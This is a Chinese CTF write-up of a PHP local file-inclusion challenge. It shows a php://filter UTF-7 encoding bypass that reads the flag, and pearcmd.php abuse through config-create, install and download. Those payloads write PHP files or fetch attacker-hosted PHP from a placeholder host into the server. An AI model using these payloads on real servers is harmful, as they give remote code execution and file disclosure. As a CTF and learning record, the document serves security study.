1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?>

convert.iconv.*过滤器,语法为

1
2
3
convert.iconv.<input-encoding>.<output-encoding> 

convert.iconv.<input-encoding>/<output-encoding> (两种写法的语义都相同)。

就是编码方式,有如下几种;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

这里构造

1
?file=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php
1
+ADw?php //flag+AHs-d9c5b463-4d11-4acc-9ebe-9e61a2388871+AH0
1
flag{d9c5b463-4d11-4acc-9ebe-9e61a2388871}

参考链接:https://blog.csdn.net/qq_66013948/article/details/134193451

这个还只是一个非预期解:

可以利用pearcmd进行写文件操作:

直接payload:

1
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

image-20241027214750168

直接?file=/tmp/hello.php

image-20241027214831959

直接出了

pearcmd文件包含:

简介

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;

在7.4及以后,需要我们在编译PHP的时候指定—with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

要利用这个pearcmd.php需要满足几个条件:

  1. 要开启register_argc_argv, 这个选项在Docker中使自动开启的
  2. 要有文件包含的利用

现在大部分CTF的环境都是利用docker搭建的,而现在的PHP题目的版本很大部分在7.4以上,所以这个利用的范围还是挺大的,可以试试。

利用

环境就先使用php7.4进行测试

image-20240401163215420

HTTP数据包中的query-string会被作为argv, 在docker下复现pearcmd应该是可行的,当然默认也存在pearcmd。

image-20240401163503871

config-create

利用payload:

1
复制成功?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

image-20240401164114591

文件包含的点是?file=

成功写入文件

image-20240401164343565

使用的是PEAR_Config的形式,方法来自p神博客。

install

还有install形式

pear install http://xxxx/test.php就可以下载php文件,还可以用--installroot指定目录,这样可以构造payload:

1
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://xxxx/test1.php

这个payload会将文件下载到网站目录的&file=/usr/local/lib/php/pearcmd.php\&/tmp/pear/download/文件夹下,构造非常巧妙,访问时需要url编码,好处是可以直接访问到文件,不需要包含,当然可能存在没有写权限的情况,就需要另外构造:

1
?+install+--installroot+/tmp/testinstall+http://localhost/index.html+&file=/usr/local/lib/php/pearcmd.php

这个payload会将文件下载到/tmp/testinstall/tmp/pear/download下,当然还有别的形式:

1
?+install+http://localhost/index.html+&file=/usr/local/lib/php/pearcmd.php

这个payload会将文件下载到/tmp/pear/download下。

download

还有dowanload形式,参考了:关于利用pearcmd进行文件包含的一些总结 | W4rsp1t3’s blog

非常聪明的构造:

1
?+download+http://xxxx/test1.php&file=/usr/local/lib/php/pearcmd.php

原命令是pear download url,和之前的install一样,&file=/usr/local/lib/php/pearcmd.php这一部分会被加入pear执行的参数中,在我们的服务器上构造会返回恶意代码的url:test1.php&file=/usr/local/lib/php/pearcmd.php即可。

可以将文件写到当前网站目录下。

当然可能还有别的利用手段需要进一步挖掘。

参考链接:文件包含经典之pearcmd的妙用 | Shad0wwalker’s blog